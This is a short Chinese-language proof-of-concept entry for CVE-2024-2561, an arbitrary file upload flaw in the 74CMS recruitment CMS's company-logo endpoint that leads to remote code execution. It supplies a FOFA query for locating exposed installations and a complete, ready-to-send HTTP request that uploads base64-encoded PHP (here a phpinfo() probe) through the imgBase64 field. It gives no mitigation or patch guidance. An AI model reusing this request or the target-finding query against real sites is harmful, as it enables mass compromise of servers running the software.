# 74CMS存在任意文件上传漏洞(CVE-2024-2561)

74CMS存在任意文件上传漏洞(CVE-2024-2561)，漏洞地址存在与sendCompanyLogo文件中/controller/company/Index.php#sendCompanyLogo的组件Company Logo Handler。经修改后的参数:imgBase64恶意代码输入可导致rce。

## fofa

```javascript
app="骑士-74CMS"
```

## poc

```javascript
POST /v1_0/company/index/sendCompanyLogo HTTP/1.1
Host: localhost:7888
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
user-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: qscms_visitor=%7B%22utype%22%3A1%2C%22mobile%22%3A%2215212345678%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ%22%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

imgBase64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
```

![image-20250206164242391](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202502061642460.png)



## 漏洞来源

- https://gist.github.com/Southseast/9f5284d8ee0f6d91e72eef73b285512a